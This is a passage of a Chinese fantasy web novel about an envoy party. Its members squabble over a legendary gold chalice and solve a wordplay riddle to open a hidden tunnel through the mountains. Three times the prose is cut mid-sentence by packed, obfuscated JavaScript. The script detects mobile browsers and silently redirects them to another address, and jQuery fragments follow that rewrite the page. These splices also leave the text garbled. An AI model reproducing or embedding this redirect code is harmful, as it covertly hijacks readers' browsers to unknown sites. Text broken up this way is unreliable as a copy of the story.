虽说一行人隐隐分成了几个阵营,可鲜美的蘑菇汤能滋润干涩的喉咙抚慰疲惫的身体,咸香的火腿可以满足唇舌咀嚼的渴望,再配上饱腹感十足的黑麦面包——这样的晚餐放在平时也许有些简陋,但身处物质匮乏的野外,已是十分奢侈的大餐。
众人不免觉得口舌生津,不动声色地忽略了先前的隔阂,将自己准备或者找到的食物与弗兰茨交换共享。
“我要。”
卡塔利娜蹲在弗兰茨旁边,眼睛直勾勾地盯着躺在铁盒里的半块火腿肉。
见弗兰茨正要把一碗汤递给别人无暇顾及自己,卡塔利娜也毫不客气,伸手便将温度尚高的铁盒抓住了。
“等一下,还很烫!”
弗兰茨一回头,只觉头皮发麻,连忙将卡塔利娜的手拽了回来。
动作被打断,卡塔利娜默默盯了弗兰茨一会儿,继而虚握了握手,慢吞吞地说:“我要吃肉。”
这不是吃不吃肉的问题,弗兰茨张了张嘴,但见卡塔利娜并没有露出烫到的表情,他没也再说些什么。
取肉,分汤,切下面包,卡塔利娜只从他手中接过肉,大块朵颐起来,全然没有看见其它食物一般。
她是喜好鲜明的肉食主义者。
众人还在用餐,伍德却在这个时候清了清嗓子站起身,严厉地开口了:“向、卡塔利娜,现在我们越来越靠近龙穴了,这意味着地势也就越高,届时我们必然要翻越雪山,你可有什么计划?”
卡塔利娜坐在地上,双手托腮,以一种非常放松的姿态直视伍德的眼睛。
她沉默得太久,眼神又十分直白,伍德被她看得浑身不对劲。他把重心从左脚换到右脚,又从右脚换回左脚,色厉内荏地反问:“你怎么不说话?”
直到悠闲地将最后一口肉吞下,卡塔利娜这才咧嘴一笑:“明天就知道了。”
或许伍德自己还没有意识到,但作为旁观者,弗兰茨觉察出这才不过一天,伍德面对卡塔利娜的态度就从之前的不在乎和利用,变成了现在的谨慎,甚至还有隐约带有一丝惧怕。
既怕她无法控制,更怕她无法预测。
实际地位已悄然翻转,捏着人心的不再是那些会说漂亮话的人。
卡塔利娜笑得轻松,她仍不怎么主动说话,但现在,没有人会再主动挑衅她。
8. 第 8 章
离开了迷雾森林,天气也晴朗不少。
碧蓝的天空下,微风托着云团从雪山前飞过,带来些许寒意。
众人披上了御寒的披风,在卡塔利娜的带领下前行。
“向导,现在还不愿说出你的计划吗?”伍德抻了抻装有珍宝的木箱背带,再一次发问。
他的声音低沉,箱子拍在背上发出闷响。
与往次印象里又大又多的箱子不同,这一次行赏的赏赐以小巧精美为重,这也可能和遇到海难有关。
弗兰茨的视线从伍德背上的木箱移到他的脸上,那张暗红的凹凸不平的脸不知何时已染上了阴郁的颜色。
见卡塔利娜一顾向前直走,伍德的不悦更是加重了几分,他快步上前,握住卡塔利娜的手臂:“够了,你不要以为做了向导就可以为所欲为,你要明白——”
砰——
伍德的话还没有说完,整个人就已经被卡塔利娜反手钳制,重重地掼倒在一旁的树干上。
力道之大,足以将整棵树砸断!
一来一回两个动作眨眼间结束,众人错愕,只见伍德躺在一地的断木上呻吟,而他一直不假于人手的木箱也被撞得粉碎。
混乱中,装在木箱里面的珍宝也就此暴露在众人眼前——那赫然是一只纯金打造的杯盏。
咕噜噜——
外箱粉碎,可这只杯盏却没有受到一丁点损害,它在地上滚动了两下,停在木屑里不动了。
在众人看清楚这只杯盏的那一刻,四周不再是崎岖的山地,繁茂的森林。曼妙轻歌如涨潮的海水般渐起,带有寒意的风化为轻柔飘舞的帷幔,明明已经离开了迷雾森林,众人却再一次生出了陷入美妙梦境的错觉。
此时,恰逢一缕阳光落到杯盏的杯口,金黄色的光立刻由一个点沿杯口流动,旋成一圈耀眼的金环,闪闪发亮。
所有人都下意识地屏住呼吸。
要怎么形容这只金杯的魔力?
用最优美的语句,请最负盛名的诗人?
不,没有一种语言能够形容它的奇妙,再华美的赞叹拿到它面前都显得黯然失色。
一但它暴露在空气中,所有人的目光都会被它吸引。
它不像人类能打造出来的工艺品,甚至是善于锻造的矮人也无法打制出如此完美的金杯。
这更像是原初的女神,慷慨地从最夺目的金矿中捏起最纯粹的黄金,用闪电击出的烈火,用秋日凝结的晨露,用无法学习的神技,炼制而成。
没有人不想摩挲它光滑的杯壁,没有人不想拿它品一品佳酿。
“那是、那是‘贝莉的金杯’——”
一个使团成员认出了这枚金杯,失声喃喃道。
咔擦咔擦——
在众人为金杯失神之际,卡塔利娜踩着一地碎木闪到伍德面前,她探出手,欲将金杯拾起——
“住手!”
伍德顾不上周身的剧痛,飞身将撞向卡塔利娜——好硬!根本撞不动——这个念头从脑海里一闪而过,紧接着,不要让任何人触碰到金杯的想法牢牢地占据了他的头脑。
他咬紧牙关,扯下披风盖在金杯上,往怀里重重一揽,将那流光溢彩的金辉遮蔽得一干二净。
四周又变得一片狼藉起来,其他人顿感怅然若失,不由齐齐一叹。
“你——!”
将金杯收好的伍德怒视着卡塔利娜——差一点、差一点就要出了岔子,他怎能不恼火?!
愤怒使他的脸像半凝固的岩浆一样起伏不定,而他的话则比他的脸色更加暴烈:“你、完、全、闯、了、大、祸!别把自己当成聪明人!挑拨内部关系,抹黑王国荣誉!这下看清楚了吗?这就是赏赐,不是你臆想的毒药或武器!”
卡塔利娜失神地站在原地,一动不动,半晌,她的眼珠才金杯倒落的地面转到了伍德胸前——那个藏匿了金杯的地方。
伍德气不过她的样子,又觉得自己终于占据了上风,更是肆无忌惮地狠批了一顿,等到他发泄完毕,口干舌燥之时,卡塔利娜的眼珠才稍稍眨了一下。
“……那是什么?”她问道。
她的语调很轻,像被吹到风中的羽毛,飘来飘去找不到落点。
“——是什么?”过了一回儿,卡塔利娜又问了一次。
这一回,她的语调终于变回往常的样子,两颗眼珠也精准地落到伍德脸上。
“……这是赏赐,你这个不知礼数的愚民!”
伍德恶狠狠道。
“你刚刚说‘贝莉的金杯’,”亨特的疑惑打断了这场对峙,她看向刚刚那个失声的使团成员,“贝莉?是那个贝莉吗?”
“……对,就是那个贝莉。”使团成员语气复杂地回答道。
一时间,众人都有些沉默。
拜里科斯没有人会不知道贝莉——这个伟大王国的第一任国王,开疆拓土,英明神武;而她在成为国王之前的坎坷岁月,更使每一个拜里科斯人都为之敬佩。
至于贝莉的金杯,更是闻名远扬。
相传,拜里科斯原本是由贝莉与贝奇两兄妹共建,但到了决定谁来治理国家之时两人却争论不休。为了不破坏彼此的感情,他们约定在下一个月圆之时向对方送一件礼物,以此来决定谁是国王。
贝奇与谋士商定,决定要送给贝莉安稳的死亡,而贝莉却用这一个月走访四方,打制了一只纯金的杯盏送给哥哥。
月圆之夜很快来临,还不等贝奇动手,贝莉便将这只金杯献于兄长面前。当这只杯盏出现之时,连月光都变得黯淡,所有人的目光无不聚集其上。
除了贝莉。
贝莉蒙着双眼,手捧金杯在半空中做出倾倒的动作。
第一下,她从杯中倒出了紫红色的葡萄酒,馥郁芬芳的酒香使那片土地至今都以生产酒酿盛名;第二下,她从杯中倒出了数不胜数的金银珠宝,据说建国后的第一笔资金都是这次倒出来的;第三下,她从杯中倒出了无形无色无味的权力,贝奇和他的谋士在那一瞬拔刀相见,最终死于彼此疯狂的打斗中。
贝莉成为了国王,她将这只金杯封存,后来再也没有其他人见过它。
直到这一次,这只金杯被当作行赏的珍宝送往龙穴。
“为什么?”一名格兰德城人质疑道,“我知道,我知道,但是为什么?为什么连‘贝莉的金杯’这么珍贵的宝物都要送出去,我不明白。”
“明不明白是你的事,小伙子,”伍德意味深长地看了他一眼,“行赏的荣光才是王国的大事。”
他略微一顿,看向卡塔利娜,讥讽道:“好好带路吧,向导,别再做出那副痴迷的模样了,‘贝莉的金杯’
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991977|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不属于你。”
.
证实了行赏并非屠龙的事实,伍德趾高气扬地走在前头,忽略了后方大部分人低迷的情绪。
是啊,这确实是行赏,不是什么奇怪的屠龙。
但是,就连贝莉的金杯都被送出去了,这难道不是更像进贡吗?
沉默着,越来越冷的风呼啦啦穿过,吹来一地萧瑟。
“到了。”
也不知行走了多久,卡塔利娜停了下来,她将众人领到一块石头前,转身看向弗兰茨。
“到什么了?这是哪儿?”一个格兰德城人质疑道,“龙穴?还是什么?我们不是要翻过这座山脉才能抵达龙穴吗?”
“就是啊,我们现在连雪山都没有见到呢,怎么就到了?”
“可能是这位小姐,哼,自己也不清楚吧,为了加入行赏什么都说得出来,结果现在心虚了干脆就随便指着一块石头就说到了吧。”
小汤普森戏谑,自伍德扳回一城后,他的信心与自负又自然而然地从回心头。他的目光在弗兰茨和卡塔利娜身上来回扫射,其间的讥讽不言而喻。
马前卒登场了,真正的主角要说的话更是关键。
伍德笑笑,拍拍小汤普森的肩膀,劝慰道:“年轻人总是这样,为出风头不惜撒谎。”
然后他转过头看向罗斯,看似商量道:“现在怎么办呢,罗斯副团长?我们总要承担责任的,这样吧,我走前面带大家翻越雪山,你走最后看着这两个家伙,以防他们胡言乱语扰乱军心,也避免有人掉队,如何?”
“——不如何。”不等罗斯答复,弗兰茨不悦地走上前,先前的忍耐不是懦弱,现在的反对也不是逞强。
弗兰茨直视伍德反驳:“如此武断,难道这就是一个团长应有的素质吗?您不知道这是什么,又不肯了解,只知道在这里维护自己的权威。
“或许卡塔利娜不是一个出色的向导,您就是一位合格的团长了吗?”
以往看不上的人突然发难,伍德难免怔愣片刻,随后而来的则是被挑衅后更大的怒火:“我不合格?那你又做了什么?弗兰茨·罗兰,你身为驭龙女士的后人,如果你知道的更多,怎么还让我们白白损失了两条人命?他们本可以身披荣光回去,佩斯也不至于这么痛苦!”
“您不必如此颠倒黑白,尽管祸水东引是您摆脱责任时惯用的手法,”弗兰茨挥开抵在他胸口的那只手,冷冷地说,“这是无雪密道的入口,您没有听说过吗?对王国行赏最为了解的伍德团长。”
无雪密道?
那是什么?
众人疑惑,直至弗兰茨几剑将石头上堆积的植物清理干净,他们才发现这个看似不起眼的大石头,实际上是一块巨大的石壁,上面还隐约刻有什么符号。
“这是什么字?拜里科斯语吗?”
“不对,是通用语,这是谁刻的?”
“无雪密道难道就在这石壁之后?无雪无雪,意思是我们不用翻越雪山吗?”
“我不知道啊,我又不是驭龙女士的后人,这么多年前的事情,我怎么知道。”
众人围了上来,细细研究这块石壁。
热烈的讨论之外,弗兰茨站于人群后方,与同是处于人群之外的卡塔利娜对上了视线。
少时,卡塔利娜慢慢对他咧出一个笑。
9. 第 9 章
弗兰茨默然。
这是一种极为复杂的心情。
无雪密道,它的名称与作用是如此显而易见,但它的存在现在已经没有多少人知道了。
否则从格兰德城出发到龙穴的这段路上,三个闻名的难关就不会是迷雾森林、无尽雪山和彩虹河了。
可卡塔利娜是怎么知道这条密道的?
她又为什么看着自己,难道是知道、不,难道她笃定他一定会知道这条密道吗?
还是说她想测试自己是否知道有这样一条密道存在?
她的目的是什么,如今的结果是她想要的吗?
“罗兰先生,”罗斯在人群喊他,“既然你知道这条密道,不妨前来为大家解惑吧。”
无雪密道——
他是在家中杂物间里知道这条密道的。
弗兰茨的母亲是驭龙女士梅兰妮尔·杜兰德的幼女,父亲则是老罗兰爵士没有继承权的小儿子。
他们结合的原因弗兰茨不得而知,但他们分开的原因在日益积累的沉默与不合的性格中清晰可见。
母亲离开的那天,她只带走了从驭龙女士那儿继承而来的利剑,其余的东西则被锁进了杂物间,包括一本驭龙女士的随笔手札。
弗兰茨不清楚她为何只带走了那把利剑,但他从那本字迹模糊的手札中了解到的东西,终于在现在派上了用场。
“无雪密道,一条贯穿山脉的通道,使来者无需经受极寒风雪的考验与折磨,”弗兰茨上前,手掌抚过石壁上凸起的铭文和凹下去用来摆放谜底的空槽,“但是,要想进入无雪密道,则要拼对石壁上的字谜。”
“拼字谜?这么幼稚?”小汤普森上前两步,打量着石壁上的通用语,“这不是很简单吗?”
不等弗兰茨解释得更清楚一些,他先后移动了几下通用语的文字符号:“铭文上的恐惧?停止?那谜底不就是‘凡心怀恐惧者,至此当止步’?”
轰隆隆——
在小汤普森松开手的那一瞬,地面之下突然发出几声闷响,众人惊得后退几步,只见石壁扑簌簌落下一地碎石,与此同时石壁开始缓缓向下沉。
“这是怎么回事?”
“弄错了?还是、为什么会往下沉?”
下沉了三分之一,石壁停住不动了,这让汤普森有些惊慌——即使他的头脑只能在阿谀奉承上发挥作用,但这明显闯了祸的事实只仅眼睛就能发现。
“诶,你,他这——”
他向左右两侧看去,没有人与他对视,他又去看伍德,结果被狠狠瞪了一眼。
“罗兰先生,我们知道您是驭龙女士的后人,但现在并非展现自我的时刻,”伍德开口了,语气相较之前算得上温和,“解开字谜,帮助大家免受风雪侵袭才是关键。”
弗兰茨看着他暗红的脸,礼貌地笑了笑,片刻,才缓缓道:“我明白您的意思,不过很可惜,驭龙女士并未在她的手札中记录谜底。”
“怎么可能?”
弗兰茨此话一出,有人失声反问。
“一本普通的手札,既没有使用特殊文字,也没有设下什么禁制,任何人都可以阅读它。她自然也不会在上面记录关键信息,”弗兰茨解释,“不过,依照她的书写习惯和通用语的特点,我们或许可以推断出答案。”
说完,他的目光便落在了卡塔利娜身上。
这道目光并没有向她寻求意见或者依赖她的意味,是探究,是疑问。
仿佛是在场需要应付的人太多,他便以目光代劳。
——我是驭龙女士的后人,所以我知道这条密道,那么你呢?
——既然你知道这条密道,不如也来说说你对谜底的看法?或者说,你本来就知道谜底是什么?
很好,不是一味的柔软,很有意思。
不过,卡塔利娜也并不惧怕质疑,也不在乎她毫无忌惮的举措所展现出来的疑点。
“有道理。”
她轻巧地回答,把讨论的舞台让给了其余的使团成员和格兰德城人。
“亲王殿下曾提到过,驭龙女士的书写习惯,”议论纷纷的人群当中,罗斯皱起眉头回忆,她曾是殿下的女官,说出来的话自然值得信赖,“她喜欢运用双关,一句话常常有多种含义。好吧,身为后人,罗兰先生你也确实继承了这个特点,但通用语的特点——”
佩斯补充:“简单,易懂,而且字符颠倒摆放,会产生相反的意思。”
小汤普森:“——你们就这样相信他的话吗?一个拜里科斯人,她的谜底为什么用通用语来表现?”
雷东多:“这是唯一的线索,而且双关和字符颠倒,我想,答案应该很接近了。”
“恐惧”“停止”,颠倒过来应该是勇往直前。
几乎所有人都想到了这个答案,但鉴于答错了石壁会往下沉,他们犹豫不决。
真的就是这个答案了吗?真的有这么简单吗?
面面相觑间,罗斯上前了两步。
“答错一次,下沉三分之一,我们应该还有两次机会,”她的手握住了石壁上突起的文字符号,“既然没有想到其它答案,不妨一试。”
说罢,她推动着符号,拼出了与第一句话意思相反的话——唯怀勇毅之心,方得前行之路。
石壁没有移动。
成功了?
众人屏住呼吸不敢轻举妄动,等待了片刻,在伍德终于忍不住想要上前研究之际,石壁突然又开始往下沉。
又失败了。
众人看着只剩下三分之一的石壁,挫败与焦躁同时袭上心头。
“又错了,现在该怎么办?”有人焦虑地提问。
“早知道直接翻雪山,也好过在这里浪费时间。”也有人不报希望地嘟囔。
真的要翻雪山吗?
在不知道有无雪密道之前,众人视翻越雪山当作前往龙穴唯一且必要的路径。
可现在,明明有更轻松的方式,却因为不知道谜底导致希望几乎破灭,沉重的情绪和埋怨的想法开始滋生。
毫无头绪地在原地徘徊了几步,伍德挠挠头后又开始跺脚,他看向其余人——他们都因为只剩下最后一次机会而不敢离石壁太近。
不能再拼一次谜底了,他咬牙,现在翻越雪山和再一次失败后翻越雪山的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991978|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
差别看似不大,但对人的意志和团体气势的影响可完全不同。
“诸位,”他清清嗓子,“翻越雪山并没有什么可怕的,以往不知道无雪密道的使者不也是从雪山前往龙穴的吗?我们无需畏惧,寒风只会拭去荣誉冠冕上的尘埃,冷雪也只会使其更加闪耀。不要再为未知的谜底烦恼了,我们唯一目的,是行赏!
“而这密道最后一次答对的机会,我们不妨留给后人,以示宽和与鼓励。”
伍德自认在使用语言方面颇具天赋,可是这回,他觉察出似乎有哪里不对。
但未等他想明白,众人就已经整理好行囊,取出翻越雪山时需要的装备,绕过石壁继续向前出发。
“还不走?”
弗兰茨单膝跪地研究石壁,沉思间,熟悉的短句,熟悉的语气从上方传来。
他并不回答,而是反复专研着石壁上的文字符号。
“恐惧”和“停止”,这两个词是没有问题的,但以字面意思回答错了,以相反的意思回答也错了。
双关,驭龙女士喜欢玩文字游戏,“恐惧”这个词在通用语里颠倒过来是“勇气”,可通用语里“勇气”这个词并没有其他独特的含义。
弗兰茨眉头紧锁,一定有什么错过了。
勇气、勇气,他将这个词反复咀嚼,回忆那本手札上是否有什么提示——无关紧要的记事是用拜里科斯语,关于战争和龙,驭龙女士更倾向使用通用语,偶尔间隔几个拜里科斯的词汇。
勇气、勇气,她在记录行赏路途的那几页用拜里科斯语重复写过。
拜里科斯语……
是拜里科斯语!
在拜里科斯语中,勇气与真挚同音,那么谜底就是——
弗兰茨沉着一口气,尽管他并不理解为什么这句话是谜底,但他还是试着将它拼了上去。
轰隆隆——
石壁再一次发出闷响,尘土飞扬,已经开始向前走的队伍也被声音惊得齐齐回了头。
然而这一回,石壁不再下沉,而是露出一个通道入口——竟然真的成功了!
“他猜到了?!”
不知是谁喃喃了一句,使呆愣在原地的众人活动起来。
他们顾不上团长发话,自发地走了回来。
“罗兰先生,你拼出来的谜底是什么?”雷东多问。
弗兰茨轻声回答:“唯怀真挚之信,方入故交之境。”
“故交?”
谜底一出,众人议论纷纷,眼里尽是疑惑与不解。
是啊,明明是行赏,明明是前往龙穴,为何说是故交之境?
红龙应该要么是属臣,要么是潜在的不安定因素才对,当初的拜里科斯人怎么会以此作为谜底呢?
“这不过是一个普通的谜底,又何必事事与行赏都联系起来?”伍德打断了众人的议论,他看向弗兰茨,又道,“说不定这是驭龙女士自己设定的谜底,她私自将红龙视为故交,却忘了这场‘旅途’的目的所在。”
话毕,众人却跳过附和,陷入了沉默。
过了一会儿,罗斯才提议道:“事不宜迟,我们还是尽快动身吧。”
10. 第 10 章
由于之前拼错了两次谜底,无雪密道的入口显得格外狭小。
众人只能挨个矮下身子,艰难地贴着土地钻进去。
站直身子拍拍尘土,弗兰茨意外地发现密道空间竞不像想象中的那般狭窄,虽然算不上宽敞,却也能让三四人并肩行走。
墙壁上细小的孔隙吹来新鲜的空气,此外,每隔十步,墙上便会镶嵌一枚拳头大小的珠子以供照明。
近百年光阴转瞬即逝,它们仍恪尽职守地为来者照耀前行的路。
“这真是,这条密道修得挺好的……”有人轻声感慨。
确实,只要站在这里,看着眼前笔直整洁的道路,无论是谁都会生出这样一种念头——仿佛当初建造密道的人想在最大能力和范围内为要使用密道的人提供舒适与便捷。
这并不是一条冰冷的、阴暗的、充满机关的密道。
“好了,罗兰先生总算是出了一份应出的力,不过,这并不算什么了不起的大事。”伍德打断了这种异样想法的蔓延,他的语调激昂,“真正的大事正等着诸位去完成呢!”
他手握佩剑,率先走在前头,其余人互相对视一眼,抬腿跟上。
弗兰茨有意放慢了脚步,与队伍最后方闲庭信步的卡塔利娜并肩。
谁也没有主动说话,仿佛都在等对方捺不住好奇先行提问。
“你了解的很多。”
卡塔利娜先开口了,但她的语调,她直视前方的双眼,她游刃有余的态度,都给人一种她没有“输了”的感觉。
她只是想做什么就做什么,想说什么就说什么,不必忍耐,也无需修饰。
这一刻,弗兰茨不由得生出一股挫败感,继而又是艳羡。
如果不是地方不对,他真想转过头来仔仔细细地观察她——究竟是什么样的环境,什么性格的养育者才能培养出这样一个生命?
路途中,除了偶尔展现出怪力,卡塔利娜通常沉默地行走在人群的边缘。
但这并非被众人孤立的表现,而是她视秩序与权威为无物,秩序与权威也奈何不了她。
“罗兰先生,卡塔利娜女士,”行走间,雷东多不知怎么走到了他们身旁,这个身材消瘦的使团成员正亲切地向他们打着招呼,“这一路上多亏了你们的帮助,不然我们可要受寒受冻了。”
“这并不算什么。”
弗兰茨对他微微一笑,卡塔利娜还是不说话。
“两位太谦虚了,有时候过于谦虚反而会被人强占光芒,”雷东多对他们眨眨眼,“等我们从无雪密道里出去,接下来将会遇到彩虹河,对此,驭龙女士有在她的手札上提过应该如何渡过吗?”
“那只是一本普通的手札,并不是寻宝笔记或者通关秘籍,她连迷雾森林都没有提到,”弗兰茨仍是微笑,“至于彩虹河的具体情况,我还没有往届使团成员了解得多呢。”
“你是身份占了好处,那么你呢?”
两人攀谈时,佩斯也侧耳来听,等他们说完,她也插了进来,目光从弗兰茨扫向卡塔利娜。
佩斯的语气没有最开始失去亲人时那么尖锐,但仍暗藏锋芒:“格兰德城在出入东城门方面管控严格,我的弟弟获得了城主准许,所以知道准备面罩和提神树叶,但即便如此,他也不知道无雪密道的存在。
“向导小姐,身为格兰德城人,你是怎么知道的?”
“谁告诉你,我是格兰德城人的?”
卡塔利娜抬起头,面无表情的脸上终于浮现出一丝带有玩味性质的笑。
卡塔利娜仔细地看着眼前这个人,自从她的兄弟离去,她的身体里就住进了两个人。
她不再只为自己而活,因此她承载的重量也比她人多得多,是很可怜的,但是——可怜她的人里又不包括卡塔利娜:“又是谁规定,只有格兰德城人才能在岛上行动?”
既然要想对龙做些什么,那么必然要付出相应的东西,至少也要抱有这样的决心。
而不是像前面那个想要掩饰自己,却表现得十分拙劣的男人一样,只想获得好处。
“况且,”话向来很少的卡塔利娜又开口了,“你对我这么大敌意,却不想想是谁让你来的?这么多回‘行赏’,死了不少人,你们怎么还如此积极地参加?”
佩斯很错愕,但她又觉得无法反驳。
汹涌的情绪像潮水般将要向外倾泄,却被紧闭的双唇阻拦,只能在心底来回震荡,带着那些固有的观念一起振动起来。
.
在场景不变的密道里前行,众人不清楚具体时间,也不知道还剩下多少路要走,倦怠的情绪很快就拖住了他们的后脚跟。
很快,小声的交流也被杂乱的脚步声代替了。
有人试图通过墙壁上细小的孔隙来确定位置,但山体厚实,从孔隙里钻进来的只有外面寒冷的风,吹得颇为昏沉的头脑突然精神一振。
“到底还要走多久?”小汤普森大声地抱怨。
他调解心态的能力比旁人强上不少,故而直接忘记了一路上出过的丑和犯过的错误。
又因为在密道不用直接受到风雪的侵袭,所以他可以大胆地假设与吹捧:“我觉得,无雪密道固然提供了便利,但却有损于我们建立坚强的意志与决心。没有什么比从冰天雪地历练而来的勇士们更值得夸赞的了,行赏的路途注定艰难,磨难更显我们的荣光。如果能重来,我宁愿选择征服无尽雪山——啊!你在做什么?”
宏图远志还未发表完,他的肩膀就被重重推搡了一下,差点没摔倒在地。
小汤普森回头怒视,推他的人竟是亨特,一个沾了使团荣光的格兰德城人。
“走路就该好好走,知道吗?”亨特对他哼哼一笑,又伸出手推了一下他另一边肩膀,“在密道里走路还要人扶,真上了雪山该不会要人抬吧?”
“你、你再乱说些什么?”
小汤普森抻直脖子,正准备和这个不知好歹的格兰德城人理论理论,但当他看到她结实有力的臂膀和戏谑的眼神之后,那些话突然又和他的脑袋一样缩了回去。
“你、你、你。”
亨特笑嘻嘻地学了两句,与身旁的另一个格兰德城人相视一眼,依次从小汤普森旁边擦肩而过,大步向前走去。
来自女人的羞辱好像总是更能挑起男人不必要的自尊心与记恨。
小汤普森涨红了脸,他站在原地,恶狠狠地瞪着亨特的背影,接着又剜了一眼从他身边经过的弗兰茨,结果并没有引起其他人的注意。
除了伍德。
尽管他昂首在前,可出于对团体的责任心,伍德还是将一部分宝贵的注意力留在了后方,自然也听到了从后方传来的争执。
好吧,虽然小汤普森的话有些幼稚与不切实际,但格兰德城人的冒犯却十分没有必要。
这种不包容的嘲笑,不仅不利于整个队伍的团结,更让伍德意识到,某种氛围正在群体中蔓延,某种东西正慢慢离他而去,即将转移到旁人身上。
这是伍德绝不容许发生的。
要怎么做呢?
他默默思考,巧妙的语言似
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991979|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乎不再那么奏效,那强硬的手段呢?
伍德护紧了胸前的金杯,迷雾森林里做过的美梦在此刻又在脑海里重现。他相信那不只是一场幻觉,更是一个即将实现的预言。
因此这一次行赏,一切都必须在他的掌控之中,任何会导致失败的因素都不能出现。
就像、就像……
他回想起在迷雾森林中被弗兰茨从预言中唤醒后所产生的痛苦,是,他承认弗兰茨在关键时刻救了他一命,但他并非没有自信不能靠自己从迷雾中清醒。
更何况后面发生的事情让他觉察到,弗兰茨并不是一个会安分守己的人,他当时焦急的表情之下必然藏着出风头的野心。
显而易见,他想要和他带来的那个红头发女人一起,把光芒从自己身上这里夺走。
这样的事情,绝对不能发生!
砰——
伍德尚在谋划中,一声惊响突然从身后传来。
“你在做什么?!”
一回头,正见走在后方的罗斯低声呵斥。
众人惊愕地看去,只见落在队伍最后方的小汤普森耸了耸肩,脚边则一枚摔碎的珠子。
见众人看了过来,小汤普森无辜道:“我只是很好奇墙壁上的珠子,想拿一颗下来研究一下,没有什么问题吧?”
没有脑子的蠢货。
伍德厌烦地闭了闭眼,他怎会不知小汤普森此番举动的目的?
可这样拙劣地吸引他人目光的手段又有什么用处?
不出意料,亨特低低的笑声传了过来。
毫无水平,毫无用处。
伍德本就被大事所扰,小汤普森现在又做出如此丢人现眼的举动,他实在没有必要再容忍一个只会增添麻烦的傻瓜。
他吸了吸气,转身斥责道:“刚刚你没有听见亨特小姐的话吗?走路就该好好走,别像一个小丑惹人发笑,明白吗?”
.
在无声且漫长的行进中,一点白莹莹的微光忽然在远处闪烁。
虽然还不能确定那是否就是出口的光亮,但这总算带给众人一丝轻松的期盼,小声的交谈也重新在密道里响起。
刚才伍德突然发难,将向来偏爱的小汤普森好一顿训斥,情绪化的语言与阴晴不定的态度让所有人都暗暗一惊。
亨特与几个格兰德城人对视几眼。
最初他们刚加入使团的时候就被伍德来了一个下马威,刚刚又发生这样的事情,这自然使得他们对伍德生出许多嫌隙。
格兰德城人心生不满,毫无防备之下就被狠狠训斥的小汤普森更是茫然无措、顿感不安、羞恼万分、心生怨怼。
那是指责吗?还是包含失望?
我只不过是做了和以前一样的事情,为什么得到的是训斥?
小汤普森怨愤地想,到底是什么导致他态度的转变?
是事,还是人?
事?
在小汤普森看来,抠挖一颗以供照明的珠子,又不是耽误行程,这算不上什么严重的大事。往前追溯,如果是拼错谜底,可他们也已经进来,伍德难道会揪着这一点小事不放?
绝对不是某件事情的影响。
那就是人。
某个人,让伍德觉得比他更有用了。
在受到上级重视这方面,小汤普森可谓是深谙其道,颇有心得。
能力不一定是最重要的,是否让人舒心才是关键。
这个被伍德新重视的人是谁呢?
小汤普森缀在队伍的尾巴,阴沉地观察。
11. 第 11 章
密道远处的光点渐渐变大了,众人加快了脚步,带着希冀向前跑去。
小汤普森仍在队伍的最后方,他有意将脚步放慢,与众人的距离拉远。
但在即将找到出口的时刻,没人会考虑到他脆弱敏感的心情,他自己显然也没有足够的能力调节心态,只会将一切归因于弗兰茨身上。
弗兰茨,当然是弗兰茨的错。
毕竟,卡塔利娜与亨特,他秉持着不轻易与女士置气的态度,以及现实力量差距,小汤普森选择放她们一马。
男士之中,只有弗兰茨,顶着驭龙女士后人的身份,先前假装隐忍,实际爱出风头,极易让人觉得他无辜。唯有小汤普森本人,识破了他的伪装。
看我怎么拆穿你。
小汤普森心中冷笑,最终还是加快步伐跟上队伍。
.
终于抵达了光亮处,众人却失望地发现,这不过是密道墙壁上破损处漏出的一个拳头大小的空隙。
日光不经意从中落下少许,又被墙壁上的珠子不断反射,才让从远处而来的大家误以为是密道出口的微光。
“什么时候才能出去?我真的好累。”有人轻声叹气。
也有人提议:“要不我们干脆把这个洞凿大一点爬出去算了?”
“这个方法并不可行,”弗兰茨站在破损处观察片刻,“我们无法确定现在正处于什么位置,吹进来的风还是很冷,从这里出去并不安全。”
“说着为大家着想的话,其实就是个胆小鬼,”找到了辩驳的好机会,小汤普森急匆匆地冲了上来,一只手毫不顾忌地撑在墙壁上,“让大家进入密道的是你,害得大家走不出去的是你。现在有出去的办法不试试怎么行?”
他下定决心,既要展示自己,又要打击弗兰茨。
因此不等所有人反应过来,小汤普森撑在墙上的手往前一挪,意图抽出一块较为松动的砖头,另一只手则握着佩剑配合着在墙上撬动。
“你也太鲁莽了吧!?这样会伤到别人的!”
由于先前的事故,佩斯对这些涉及安全问题的举动非常重视,见小汤普森莽撞行事,她想要上前阻拦。
